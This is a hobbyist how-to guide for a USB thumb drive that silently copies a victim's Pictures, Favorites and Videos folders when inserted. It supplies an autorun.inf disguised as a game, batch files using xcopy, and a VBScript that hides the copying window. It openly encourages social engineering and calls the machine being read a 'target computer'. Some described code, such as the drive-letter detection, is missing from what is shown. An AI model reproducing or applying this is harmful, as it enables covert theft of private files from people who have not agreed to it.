How to build a simple five file usb drive that copy's current user's favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.
Step 1: Materials Needed
Flash/thumb drive 8gb-- $25.00.
computer to write files on.
someone to try out thumb drive on.
Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better... just incase the target computer has LOTS of files you will have the space to copy to.
Step 2: Create Autorun File for the Flash Drive
Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content.
action=Click ok to Run game for Windows
a couple of notes
the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf
look at pic two if you have any issues.
You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. Anyways just save it to the drive name it drive.ico next time you pull the drive out and put it in you will have your custom icon. Great for social engineering if the situation arises, makes it much less of an issue to have someone click a file on the drive if it looks like a game or something.
next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.
next it action= this can change to suit your needs, when the autorun launches it sometimes may ask the user what to open dependent on what you put here is what the user will think he is clicking on in the code above it tells the user to click here to run game for windows. This code acts as a backup just in case the user is asked what to open.
The shell/open command also acts as a backup in case the user clicks cancel instead of open when prompted... this code will execute when the drive letter is clicked on. No user can hold back on seeing what is in a random flash drive. That is the basis for this code.
Step 3: Make the File for Copy of Documents to Drive
Like the last step make sure you use word to make this file save it as file.bat and all files not a word file just like in the picture.
set backupcmd=xcopy /s /c /d /e /h /i /r /y
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
what this code does
looks for what drive letter the flash drive is and sets it
looks for current users pictures, favorites, and videos folder then copy's them to the found flash drive in folders my pics, favorites, and vids
clears screen and shuts down window
now the fun part of this code it can be changed to suit your needs say you need to copy say music folder the code would change to %backupcmd% "%USERPROFILE%\music" "%drive%\all\music"
very clever huh
Step 4: Make Vb Script to Run Batch File As Invisible
Code it with word and save as invisible.vbs
All files once again.
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
Step 5: Make a Batch File to Launch Vb Script and File.batch
create with word and save as launch.bat
wscript.exe \invisible.vbs file.bat
Step 6: Create Folder to Save Files Withing Thumb Drive.
Step 7: Put All Files in Root of Drive and Try Out
I would post a video if this in action but i am currently deployed to Iraq and bandwidth is very limited here if you have any questions or how i might make this Instructable better dont hesitate to mail me thanks and for looking